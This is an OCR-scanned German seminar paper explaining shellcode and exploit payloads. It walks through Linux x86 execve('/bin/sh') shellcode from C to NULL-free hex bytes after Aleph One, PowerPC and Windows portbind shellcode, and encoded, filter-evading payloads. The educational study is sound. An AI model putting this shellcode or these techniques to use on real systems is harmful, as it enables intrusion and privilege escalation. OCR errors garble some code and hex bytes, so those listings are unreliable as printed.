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1 Einleitung

1.1 Grundlagen

Obwohl die Gefahren von Buffer Overflows und verwandten Si-
cherheitsliicken bereits seit den Anfangstagen der Programmier-
sprache C bekannt sind, stellen sie auch in der heutigen Zeit noch
immer eines der groffiten Risiken im Bereich des Hacking dar. Ist
eine Sicherheitsliicke in einem fiir Hacker attraktiven Software-
produkt gefunden, ist es hidufig nur eine Frage der Zeit, bis Code
im Netz kursiert, der die Liicke ausnutzt.

Ein solcher Exploit besteht aus drei Teilen: einem oder meh-
reren Angriffsvektoren, der Exploittechnik und dem eigentlichen
Schadcode, der sogenannten Payload [2].

1.1.1  Angriffsvektoren

Ein Angriffsvektor ist die Abfolge von Aktionen, die ein verwund-
bares Programm zur Ausfithrung des fehlerhaften Codes bringt.
Zu einer Sicherheitsliicke kann es daher mehrere Angriffsvekto-
ren geben. Ist beispielsweise eine Bibliotheksfunktion verwund-
bar, konnen alle Programme, die diese einbinden, als Angriffsvek-
tor dienen.

Abbildung 1.1
Aufbau eines Exploits
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Die Mehrheit der Exploits verwendet bisher zwar nur einen
Angriffsvektor, je stirker Systeme jedoch abgeschottet werden, de-
sto eher ist mit einer Zunahme von Exploits zu rechnen, die nicht
nur einen, sondern mehrere oder gar alle bekannten Angriffsvek-
toren verwenden, um die eigenen Erfolgsaussichten zu erhéhen.

1.1.2 Exploittechnik

Unter der Exploittechnik versteht man den Algorithmus, der den
Kontrollflul eines Programmes nach den Wiinschen des Angrei-
fers verandert und so beliebigen Code zur Ausfithrung bringt. Die
klassische Exploittechnik besteht im Ausnutzen eines Stack Over-
flows. Dabei schreibt der Angreifer iiber die Puffergrenzen einer
Variablen hinaus und manipuliert so die auf dem Stack gespei-
cherte Riicksprungadresse.

1.1.3 Payload

Der eigentliche Schadcode eines Exploits, die sogenannte Payload,
ist der Inhalt der vorliegenden Seminararbeit.

Bestand in den Anfangstagen des Hacking die Payload meist
aus dem Anlegen eines neuen Useraccounts mit root-Rechten oder
der Veridnderung von Konfigurationsdateien, sind diese Angriffe
heute nur noch sehr selten anzutreffen. Beide benétigen eine Ver-
dnderung des Dateisystems, um ihre Wirkung zu entfalten. Da-
durch sind sie mit wenig Aufwand nachzuweisen. Intrusion Detec-
tion Systeme wie etwa TripWire konnen Anderungen am Datei-
system durch Hashfunktionen schnell und zuverlassig erkennen.

Mitte der neunziger Jahre hat sich als haufig verwendete Pay-
load Assemblercode, der einer Shell mit root-Rechten erzeugt, eta-
bliert. Solche Payloads werden auch als Shellcode bezeichnet. Die
Verwendung von Shellcode als Payload ist inzwischen so beliebt,
dass die beiden Begriffe in heutiger Zeit beinahe synonym ver-
wendet werden. Dargestellt wird Shellcode meist als Bytefolge in
hexadezimaler Schreibweise

Klassischer Shellcode wird zur lokalen Rechteeskalation ver-
wendet: Ist man bereits im Besitz eines Shellzugangs, kann man
durch solchen Code eine Shell mit den Rechten des angegriffenen
Programms starten.

Der néchste Evolutionsschritt bei Payloads bestand in netzwerk-
fahigem Shellcode. Dieser erlaubt es, Rechner anzugreifen, auf de-
nen kein lokaler Zugang besteht. Dazu bindet der Code eine Shell
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an einen Netzwerkport, auf den der Angreifer zugreifen kann. Ei-
ne solche Bindshell kann jedoch bereits durch einfache Paketfil-
ter oder NAT-Gateways aufgehalten werden. Ein Netzwerkadmi-
nistrator wird eingehenden Netzverkehr in der Regel nur zu be-
stimmten Rechnern und Ports erlauben. Bei ausgehendem Netz-
verkehr lassen sich Beschriankungen schwerer umsetzen. Dieser
Umstand hat zur Entwicklung von “Reverse Shellcode” gefiihrt.
Hierbei nimmt der angegriffene Rechner von sich aus eine Verbin-
dung zum Angreifer auf. Inzwischen gibt aus auch Shellcode, der
die Verbindung, die zum Einschleuflen des Codes genutzt wurde,
weiterverwendet (sogenannter “Findsocket Code”). Ein Entdecken
erfordert hier die aufwendige Filterung auf Applikationsschicht
etwa durch den Einsatz transparenter Proxies.

Eine Variante, um moglichst kompakten Shellcode zu nutzen,
heisst “Loader oder Staged Shellcode”. Dabei wird initial nur ei-
ne sehr kleiner Code tibertragen und eingeschleuBlt, der restliche
Schadcode wird spater nachgeladen.

Auch zukiinftig ist mit der Entwicklung immer fortschrittli-
cheren Shellcodes zu rechnen. Alle Bemithungen, die Ausfithrung
solchen Codes zu verhindern, haben sich bisher als vergeblich her-
ausgestellt [2].

Vor der Betrachtung von Shellcode auf einigen populdren Pro-
zessor- und Betriebssystemarchitekturen sollen zunichst einige
abstrakte Designziele bei der Entwicklung von Shellcode definiert
werden.

1.2 Designanforderungen fiir Shellcode

1.2.1 Robustheit

Ein wesentliches Ziel eines jeden Angreifers ist es, nicht entdeckt
zu werden. Verwendet er instabilen oder fehlerhaften Code, kann
er unter Umstidnden das ganze System zum Absturz bringen. Ein
Absturz wird mit hoher Wahrscheinlichkeit auffallen, und bei der
Fehlersuche kann moglicherweise ein Angriff nachgewiesen und

die vorhandene Sicherheitsliicke geschlossen werden (vgl. [4] S.26).

1.2.2 Kompaktheit

Ein dhnlicher Aspekt ist der Umfang des Shellcodes. Je kleiner
der Code, desto héher sind die Chancen, nicht entdeckt zu werden.
Handoptimierter Shellcode fiir Linux auf CISC-Prozessoren hat in
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der Regel eine Grofle von weniger als hundert Bytes. Windows-
Shellcode liegt in der Groflenordnung von einem halben Kilobyte.

1.2.3 Das NULL-Byte Problem

Viele Uberliufe entstehen durch die fehlerhafte Verwendung von
Stringfunktionen wie strcat () oder strcpy (), bei denen kei-
ne Liangenpriifungen auf die Argumente angewendet werden. Bei
vielen Implementierungen werden Strings im Speicher durch ein
NULL-Byte terminiert. Enthélt der eingeschleuste Shellcode ein
NULL-Byte (das ist ohne besondere Vorkehrungen praktisch im-
mer der Fall), wird der Angriff scheitern, da der Shellcode nur bis
zum ersten NULL-Byte ausgewertet wird.

Shellcode zu entwickeln, der keine NULL-Bytes enthilt, er-
weist sich allerdings als keine grof3e Herausforderung. Auf die De-
tails wird bei der Betrachtung der speziellen Systeme weiter ein-
gegangen.

1.3 verwendete Werkzeuge

Zur Entwicklung von Shellcode benétigt man neben einem tieferen
Verstandnis der Prozessor- und Betriebssystemarchitektur Kennt-
nisse in Assembler und C. Ein C-Compiler, ein Assembler und ein
Debugger, der das Dissamblieren ermdéglicht, reichen zum Schrei-
ben von Shellcode aus. Die freie GNU Compiler Collection enthélt
unter anderem diese Werkzeuge und ist fiir die hier behandelten
und eine Vielzahl anderer Plattformen erhéltlich.

Es erweist sich als zweckméBig, fiir Entwicklung von Shellcode
eine Virtualisierungssoftware wie Q-EMU oder VMware einzuset-
zen. Programmierfehler kénnen so ohne das Risiko von Datenver-
lusten nachvollzogen und korrigiert werden.
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2.1 Die Linux-Architektur

Bei Linux handelt es sich um einen freien, hybrid-monolithischen
Betriebssystemkern, d.h. der Kern ist zwar monolithisch, erlaubt
aber das Nachladen von sogenannten Modulen zur Laufzeit. Die
Entwicklung war zu Anfang auf die x86-Architektur beschrinkt.
Auch wenn zwischenzeitlich Linuxversionen fiir eine grof3e Zahl
von Architekturen existieren, soll sich im Weiteren auf die x86-
Architektur beschrinkt werden. Der Kern und ein grofler Teil der
Module laufen im privilegierten Modus (Ring 0), der direkt mit
der Hardware kommuniziert. Einige wenige Module und die rest-
liche Software arbeiten im eingeschriankten Benutzermodus (Ring
3). Die Ringe 1 und 2 werden nicht von Linux verwendet. Wie fast
alle modernen Betriebssysteme abstrahiert Linux die meisten Be-
triebsmittel und stellt Schnittstellen (z.B. Systemcalls, Traps) zwi-
schen Kernel und Userland bereit.

2.2 Shellcode fiir Linux

Der klassische Angriff mit Shellcode besteht im Ausnutzen von
Stack Overflows. Zuerst beschrieben wurde er 1996 von Elias Le-
vy unter dem Pseudnoym Aleph One in dem Artikel “Smashing
the stack for fun and profit” [1]. Zum Schreiben von Shellcode, der
den bereits entwickelten Anforderungen entspricht, ist ein gutes
Versténdnis der Hardware-nahen Programmierung des anzugrei-
fenden Systems notwendig. Die einfachste Payload fiir das Aus-
nutzen eines Overflows besteht im Erzeugen einer Shell mit den
Rechten des durch den Angreifer iibernommenen Prozesses. Des-
sen Entwicklung soll nun exemplarisch vom C-Code zum hand-
optimierten Shellcode gezeigt werden. Die Darstellung folgt dabei
weitgehend der von Elias Levy [1], als Betriebsystem wurde Debi-
an Potato mit Kernel 2.2 in einer Q-EMU Emulation gewahlt. Der
Grund liegt hier einerseits bei Performancegriinden, andererseits
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Abbildung 2.1
Disassembler Ausgabe

verwenden aktuelle Kernel diverse Techniken, die das Ausfiihren
von Shellcode erschweren. Ein Beispiel ist hier das Verwenden
randomisierter Startadressen fiir Prozeduren im Speicher, was das
einfache Raten der Startadresse des Shellcodes sehr ineffizient
macht.

Der C-Code zum Erzeugen einer Shell unter einem unixoiden
Betriebssystem kann wie folgt aussehen:

#include <stdio.h>

void main () {
char xname[2];

name [0] = ' /bin/sh’;
name[1] = NULL;
execve (name[0], name, NULL);
exit (0);
}

Das Programm besteht neben der Array-Deklaration und -Bele-
gung lediglich aus einem Systemaufruf, dem execve () -System-
call, der eine ihm ubergebene Datei ausfiihrt. Als ersten Parame-
ter erwartet der Systemcall den Pfad zu der auszufithrenden Da-
tei, der zweite und dritte Parameter enthalten den Argumentvek-
tor bzw. einen Zeiger auf zu iibergebende Umgebungsvariablen.

Ubersetzt man dieses Programm statisch gelinkt mit Debug-
Informationen fiir gdb und disassembliert diesen, ergibt sich fol-
gender Maschinencode:

<main=: push  %ebp

Ox80481cl <main+1>: mov %esp, %ebp # Procedure Prelude
Ox80481c3 <main+3>: sub $0x18,%esp

Ox80481cH <main+6=: movl $0x8080688, 0xff fffff8(%ebp) # name[0]="/bin/sh"
Ox80481cd <main+13=: movl $0x0, Ox fffffffc(%ebp) # name[1]=NULL

0x80481d4 <main+20>: add $OXTFFTTfTC,%esp

Ox80481d7 <main+23>: push $OxB # push execve arguments on stack
Ox80481d9 <main+25>: lea Oxfffffff8(%ebp), seax # load adress of name
Ox80481dc <main+28>: push  %eax

Ox80481dd <main+29>: mov Oxfffffff8(%ebp), %eax # load adress of "/bin/sh"
0x80481e0 <main+32>: push  Seax

Ox80481lel <main+33>: call OxB804bTa0 <execves> # call execve

0x80481e6 <main+38>: add $0x10,%esp

0x80481e9 <main+41l>: add $Oxfffffffd, %esp

Ox80481lec <main+44>: push  $0x@

0x80481lee <main+46>: call OxB0483a0 <exit> # call exit

OxBO481f3 <main+5l=: add $0x10,%esp

Ox80481f6 <main+54>: mov %ebp, %esp

Ox80481f8 <main+56=>: pop %ebp

OxB0481T9 <main+57>: ret
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Die wichtigen Schritte zum Erzeugen einer Shell sind also:

Q Der nullterminierte String “/bin/sh”, sowie seine Adresse
gefolgt vom Word NULL miissen irgendwo im Speicher ste-
hen.

0xb wird nach EAX kopiert (execve-Syscall)

Die Adresse der Adresse von /bin/sh muss nach EBX

Die Adresse von /bin/sh nach ECX

0x00 nach EDX

Ausfithren von int \$0x80

Ooo0o0OdOd

Um die Robustheit des Codes zu erhéhen, ist es ratsam am En-
de des Codes exit (0) anzuhingen. Sollte der execve () -Aufruf
aus irgendwelchen Griinden scheitern, wird so das Auftreten des
Fehlers verschleiert.

Da man nicht weiss, wo der Shellcode und insbesondere der
String im Speicher abgelegt werden, scheidet die Verwendung ab-
soluter Adressierung aus. Ein einfacher Ansatz, dieses Problem
zu umgehen, liegt in der Verwendung von jmp und call. Mit dem
jmp-Befehl springt man ans Ende des Codes und springt mit ei-
nem call zuriick an den Anfang. Dabei wird der alte Instrukti-
onszeiger auf dem Stack gesichert, relativ zu diesem ldsst sich nun
der String adressieren.

jmp 0x26 ¥ 2 bytes
‘ popl %esl # 1 byte
movl %esi,0x8(%esi) ¥ 3 bytes
movb S0x0,0x7(%es1i) ¥ 4 bytes
movl S0x0,0xc(%esi) ¥ 7 bytes
movl S0xb, %eax ¥ 5 bytes
movl %esi, 2ebx ¥ 2 bytes
leal 0x8 (%esl), %ecx ¥ 3 bytes
leal Oxc(%esi), %edx ¥ 3 bytes
int 30x80 ¥ 2 bytes
mowvl 50x]l, %eax ¥ 5 bytes
mowvl S0x0, %ebx # 5 bytes
int 30x80 ¥ 2 bytes
call -0x2b ¥ 5 bytes
k .string \"/bin/sh\" ¥ 8 bytes

Zwei Probleme bleiben noch zu umgehen. In der vorliegenden
Form modifiziert sich der Code zur Laufzeit. Bei Linux und vielen
anderen Betriebssystemen wird das .text-Segment im Speicher als
Read-Only markiert. Der Code wird daher in einem globalen Array
im .data-Segment abgelegt und dort zur Ausfithrung gebracht:

Abbildung 2.2
Relative Adressierung
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char shellcode[] =
"\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46"
"\x0c\x00\x00\x00\x00\xb8\x0b\x00\x00\x00\x89\xf3"
"\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xb8\x01\x00\x00"
"\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xdI\xff\xfft"
"\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x89\xec\x5d"
"\xc3";

void main () {
int *ret;

ret = (int ) &ret + 2;
(xret) = (int)shellcode;

Dariiber hinaus enthélt der Code noch NULL-Bytes. Die entspre-
chenden Befehle werden mittels XOR umgeschrieben, der Code
sieht schliesslich so aus:

void main () {

__asm__ ("
jmp Ox1f # 2 bytes
popl %esi # 1 byte
movl $esi, 0x8 (%esi) # 3 bytes
xorl $eax, $eax # 2 bytes

movb $eax, 0x7 (%esi) # 3 bytes
movl $eax, 0xc (%esi) # 3 bytes
movb $0xb, $al # 2 bytes
movl %esi, $ebx # 2 bytes
leal 0x8 (%esi), $ecx # 3 bytes
leal Oxc (%esi), $edx # 3 bytes
int $0x80 # 2 bytes
xorl %ebx, $ebx # 2 bytes
movl %ebx, $eax # 2 bytes
inc %eax # 1 bytes
int $0x80 # 2 bytes
call -0x24 # 5 bytes
.string \"/bin/sh\" # 8 bytes

# 46 bytes total

")

}

hex: char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89"
"\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c"
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"\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff"
"\xff\xff/bin/sh";

2.3 Exploits fiir Linux

2.3.1 Stack Overflows

Seit Erscheinen dieses Artikels ist das Problem durch die vielfa-
che Beschreibung im Bewusstsein vieler Softwareentwickler ver-
ankert, so dass die Chancen, in professionell entwickelter Softwa-
re eine Schwachstelle zu finden, die sich auf dem hier beschriebe-
nen Weg ausnutzen lisst, recht gering sind.

Der Grund, warum Stack Overflows iiberhaupt das Ausfiihren
von Shellcode ermoglichen kénnen, liegt in der Speicherstruktur
vieler CPU-Architekturen. Die meisten Prozessorfamilien legen
auf dem Stack sowohl Programm-Daten wie Variablen, etc. als
auch Daten zum KontrollfluB3 wie Riicksprungadressen ab.

Auf x86-Prozessoren wichst der Stack nach unten, der aktuel-
le Stack Pointer wird im Register ESP gespeichert, das demnach
bei einem POP erhoht, bei einem PUSH erniedrigt wird.

Neuere Daten haben daher niedrigere Adressen als alte Daten.
Der Anfang von Buffern ist allerdings an der niedrigsten Adresse,
schreibt man uiber dessen Grenze hinaus, iiberschreibt man &ltere
Daten, wie z.B. gesicherte Instruction Pointer auf dem Stack (vgl.
[4] S.165f)

Die entscheidende Frage ist nun, womit man die Riicksprun-
gadresse liberschreibt. Da man keine Informationen tiber die An-
fangsadresse des Shellcodes hat, bleibt zundchst nur raten. Ein
einfaches Verfahren, die Chancen auf eine giiltige Adresse zu ver-
bessern, liegt im NOP-Padding. Dabei werden vor dem Shellcode
einige hundert NOPs eingefiigt. Nun gentigt es, eine Riicksprung-
adresse zu finden, die an irgendeine Stelle des NOP-Feldes zeigt.
Ab dieser Stelle werden dann die restlich NOPs ausgefiihrt, bis
man zum Anfang des eigentlichen Shellcodes gelangt und dieser
zur Ausfiihrung kommt [1].

2.4 GegenmaBnahmen
Die beste Gegenmallnahme besteht in einer sauberen Program-

mierung. Wird einem Angreifer keine Moglichkeit gegeben, eine
Riicksprungadresse zu manipulieren, kann der Shellcode nicht zur
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Ausfithrung kommen. Alle bisher publizierten Ansitze, das Aus-
nutzen von Buffer Overflows zu verhindern, wurden bisher zu-
mindest theoretisch umgangen. Gegenmassnahmen wie No-Exe-
cution-Bits, nicht-beschreibbare Stacks und auch weitergehende
Techniken wie chroot oder (Para-)Virtualisierung mittels VMwa-
re und dhnlichen Produkten erschweren zwar einen Angriff, ma-
chen ihn aber nicht unmoglich [2].
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3.1 Die PowerPC-Plattform

Bei Apples MacOS X handelt es sich um ein BSD-artiges Unix-
Derivat mit Mach-Kernel. Interessant wird die Betrachtung von
MacOS X durch die zugehorige Hardwarearchitektur: den Power-
PC, einen typischen Vertreter der RISC-Prozessoren. Zur Zeit voll-
zieht Apple allerdings den Umstieg auf Intel-CPUs. Die ersten
Systeme mit den neuen Prozessoren sind bereits erhéiltlich. Der
PowerPC findet hingegen in einigen aktuellen Spielekonsolen wei-
terhin Verwendung. Durch die zunehmende Vernetzung und Re-
chenleistung dieser Gerate konnten auch sie sich zu relevanten
Zielen fiir Hacker entwickeln.

Beim PowerPC handelt es sich um eine 64-bit RISC-Architek-
tur, die allerdings auch in 32-bit implementiert werden kann. [6]
Charakteristisch fiir RISC-Prozessoren ist, dass sie arithmetische
Operationen ausschlieBlich auf Registern durchfiihren. Alle In-
struktionen haben eine Breite von 32bit, die iibliche Speicherad-
dressierung ist “big endian”, wobei auch “little endian” von der
Architektur unterstiitzt wird. Die feste Instruktionsbreite und die
Load-Store-Architektur fithren dazu, dass Shellcode fiir RISC-Pro-
zessoren grofler als fiir CISC-Prozessoren ist.

3.2 Shellcode fiir den Mac

Abgesehen von den verschiedenen Assemblersprachen gestaltet
sich das Schreiben von Shellcode fiir MacOS X dhnlich der Her-
angehensweise bei Linux und anderen Unices.

Es gibt allerdings einige Fallstricke bei der NULL-Byte-Frei-
heit zu beachten. Der Opcode fiir die wichtige System Call In-
struktion sc ist 0x44000002, enthélt also zwei NULL-Bytes. Die-
se beiden Bytes sind jedoch reserviert. Es gibt keine anderen In-
struktionen, die mit 0x44 beginnen und mit 0x02 enden auller
sc. Die aktuellen Implementierungen akzeptieren alle Bitmus-
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ter mit 0x44 am Anfang und 0x02 am Ende als sc-Befehl. An-
stelle der NULL-Bytes kann man daher beliebige Werte verwen-
den. Ahnlich verhélt es sich mit dem NOP-Befehl, der den Opcode
0x60000000 besitzt. Auch hier sind die NULL-Bytes reserviert,
eine mogliche Darstellung, die die CPU dennoch akzeptiert, wéire
also 0x60FFFFFFFE.

Ein weiterer Unterschied zur IA-32 Architektur besteht in der
Behandlung von Subroutinen. Wahrend dort Riicksprungadressen
auf dem Stack gespeichert werden, die durch die Ausnutzung von
Buffer Overflows tiberschrieben werden konnen, speichert ein Po-
werPC diese Adresse im Link Register LR, das nicht von einem
Angreifer Uiberschrieben werden kann. Da es aber nur ein solches
Register gibt, muss bei einem zweiten Funktionsaufruf die alte
Riicksprungadresse auf dem Stack gespeichert werden und kann
dann dort durch Ausnutzen eines Buffer Overflows manipuliert
werden.
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4 Shellcode unter Windows

4.1 Die Windows-Architektur

Vom theoretischen Gesichtspunkt her unterscheidet sich die Win-
dowsarchitektur nicht besonders von modernen Unices. Konzepte
wie dynamisch geladene Bibliotheken oder die Prozess- und Spei-
cherverwaltung gibt es auf beiden Systemen. Von der Implemen-
tierung und der praktischen Anwendung gibt es jedoch gewaltige
Unterschiede, sodall zunichst die Unterschiede zwischen beiden
Systemen, die fiir das Schreiben von Shellcode notwendig sind,
aufgezeigt werden sollen.

Zunichst is es unter Windows nicht ohne weiteres moglich, di-
rekt mit dem Kern zu kommunizieren. Bei Unices gibt es in der Re-
gel eine 1-zu-1-Abbildung der Bibliotheksfunktionen des Betriebs-
systems zu den Systemcalls auf Kernelebene. Daher verwenden
viele Entwickler direkt die Systemcalls anstelle der Bibliotheks-
funktionen und eine nderung dieser API hitte weitreichende Fol-
gen fiir die Funktionsfihigkeit vieler Programme. Das Interface
zum Windows-Kern dndert sich dagegen hiufig zwischen verschie-
denen Releases und wird iiber die Win32 API abstrahiert. Die-
se Programmierschnittstelle ist eine Sammlung von Bibliotheken,
den Dynamic Link Libraries (DLLs). DLLs liegen im PE-COFF
Format vor, am Anfang jeder DLL steht eine Import-Tabelle, die
die Abhingigkeiten von anderen dynamischen Bibliotheken und
Funktionen enthélt und eine Export-Tabelle, die die bereitgestell-
ten Funktionen der DLL beschreibt. Die meisten DLLs konnen an
beliebigen Stellen im Speicher abgelegt werden, um die Adressie-
rung der Funktionen zu vereinfachen, enthilt die Export-Tabelle
die Adressen der Funktionen relativ zum Anfang der DLL. Zur
Ausfithrung von Shellcode muss man also zunichst die Adressen
der DLLs im Speicher herausfinden, die die vom Shellcode benétig-
ten Funktionen bereitstellt.

Ein weiterer wesentlicher Unterschied zwischen der Unix- und
Windows-Welt besteht im Thread-Modell, das unter Windows mo-
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derner als unter Unix ist. Prozesse werden unter Windows nicht
geforked und erben alle Betriebsmittel des Elternprozesses. Statt-
dessen erzeugt ein CreateProcess () einen neuen Prozess mit
eigenem Speicherbereich, der nur Betriebsmittel von seinem Er-
zeuger erben kann, die auch als vererbbar markiert sind. Da prak-
tisch alle Uberldufe in Threads auftreten, kann der Angreifer so
nie giiltige Stackadressen raten, sondern muss bereits im Speicher
vorhandene DLLs fiir den Shellcode mitverwenden [5] S.123ff.).

4.2 Shellcode

4.2.1 Payloads fiir Windows

Bei unixoiden Systemen besteht das Ziel einer Attacke fast immer
im Starten einer Shell mit den Rechten des angegriffenen Prozes-
ses. Auf Grund des komplexen Vererbungsmodells bei Windows ist
es ausgesprochenen aufwendig eine Shell mit den Rechten des Pro-
gramms zu starten, das man durch eingeschleusten Shellcode un-
ter seine Kontrolle gebracht hat. Beim Starten einer Shell aus dem
iibernommenen Prozess heraus, gibt man nicht nur den Zugriff auf
die gesamte API auf, die deutlich méchtiger als die Shell cmd.exe
ist; es konnen auch eine Vielzahl unvorhergesehener Schwierig-
keiten auftauchen: Der Kindprozess darf unter Umstédnden seinen
eigenen Programmecode nicht lesen, etc. Stattdessen ist das iibliche
Angriffsziel auf einen Windowsrechner das Starten eines Servers
mit den Rechten des angegriffenen Prozesses, der als Schnittstelle
zur Win32 API fungiert. Dadurch kann man dann beliebige weite-
re Befehle ausfiihren (vgl. [5] S.147f)).

4.2.2 Typischer Windows-Shellcode

Um Zugriff auf die API zu bekommen, gibt es zwei prinzipiell
unterschiedliche Herangehensweisen: Bei hartkodierten Adressen
ist der Code immer nur auf einer bestimmten Plattform lauffihig.
Dadurch gerit der Code relativ kurz, aber nicht sehr portabel. Fle-
xibler ist man durch das Durchsuchen des Hauptspeichers nach
der kernel32.dll, die die beiden Funktionen GetProcAddressA ()
und LoadLibraryA () enthélt. Mit diesen lassen sich dann alle
weiteren bendtigten Funktionsaufrufe nachladen. Eine populére
Technik, um die kernel32.d11 zu suchen, besteht im Exception
Handling von Windows.

Ein einfacher Portbind Shellcode fiir Windows sieht daher wie
folgt aus:
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a
a

Suchen der kernel32.dll

Das Auflésen der Symbole GetProcAddressA (),
LoadLibraryA () sowir ExitProcess ()

Laden der Winsock Bibliothek ws2_32.d11

Das iibliche Vorgehen bei BSD-artigen Netzwerkstacks um
eine Shell an einen TCP-Port zu binden.

O Socket erzeugen

O Socket an Port binden

O Auf dem Port auf eingehende Verbindung warten
Q Verbindung akzeptieren

Kommandointerpreter starten
Den Elternprozess sauber beenden

Dieser Code hat einen Umfang von etwa 400 Byte.

Es kann daher zweckmaissig sein, staged Code zu verwenden, der
initial recht klein ist und die eigentliche Payload beispielsweise
mittels HTTP-Get aus dem Netz nachladt (vgl. [7] S.20ff.).
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5.1 Alternative Payloads

In speziellen Fillen kann es sinnvoll sein, nicht das Betriebssys-
tem sondern eine Anwendung direkt anzugreifen. Ein moégliches
Ziel solcher Angriffe sind Datenbankserver. Die wertvollen Infor-
mationen solcher Systeme sind nur innerhalb der Datenbank zu-
ganglich. Einen Angriff auf den MS-SQL Server erlaubte es durch
Veridndern von drei Bytes, die Rechte des Datenbank-Superusers
dbo zu erreichen. Dieser hat uneingeschrankten Zugriff auf die ge-
samte Datenbank. Bei MySQL war es durch das Verdndern eines
Bits moglich, den Server dazu zu bewegen, jedes beliebige Pass-
wort als giiltig zu erkennen. Auch SSH-Server stellen ein lohnen-
des Ziel dar. Dadurch lassen sich beispielsweise private Schliissel
einsammeln.

5.2 Filterresistenter Shellcode

Da Shellcode zumeist als String iibergeben wird, kann es notig
werden, diverse Eingabefilter zu umgehen. Es konnten z.B. nur
druckbare ASCII-Zeichen als Eingabe zugelassen sein. Diese Be-
schriankung kann zumindest auf der IA-32-Architektur recht ein-
fach eingehalten werden, da die wichtigsten Stack-Befehle sowie
XOR innerhalb des zugelassenen Bereichs liegen. Der komplette
Shellcode wichst dabei in etwa um den Faktor vier, das hindische
Umschreiben des Codes ist sehr zeitaufwendig.

Deutlich einfacher wird das Schreiben filterresistenten Shell-
codes bei der Verwendung eines Decoders: Der gesamte Shellco-
de wir dabei durch einen Codieralgorithmus in druckbare ASCII-
Zeichen gewandelt, mit dem Exploit wird ein Stiick ASCII-Code
mitgeschickt, der den Shellcode dekodiert und ausfiihrt. Ein mogli-
ches Verfahren ist eine Base64-dhnliche Kodierung, die drei Bytes
binar in vier druckbaren Bytes kodiert. Der Groflenzuwachs be-
tragt also nur noch etwa ein Viertel des Shellcodes.
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Ahnliche Verfahren funktionieren auch bei der Verwendung
von Unicode ([5] S.197fD).

5.3 Portabler Shellcode

Das Erzeugen von Shellcode ist im allgemeinen sehr stark von
der Hardware-Architektur und dem verwendeten Betriebssystem
abhéngig. Wenn man das Design-Ziel, moglichst kleinen Code zu
produzieren, beiseite ldsst, kann man unter gewissen Vorrausset-
zungen plattformiibergreifendem Code erzeugen. Der Ansatz hier-
bei ist das Schreiben von individuellem Shellcode fiir alle Archti-
tekturen, die man unterstiitzen mochte und dem Erzeugen eines
Kontrollflusses, der dafiir sorgt, dass der fiir die jeweilige Platt-
form notwendige Shellcode erreicht wird [3]. Der praktische Nut-
zen einer solchen Herangehensweise ist sicherlich fraglich: bereits
heute lauft die Mehrheit interessanter Systeme auf Intel-Basis
und die Entscheidung Apples, zukiinftig ebenfalls auf die IA-64
Architektur umzusteigen, wird diese Situation noch verschérfen.
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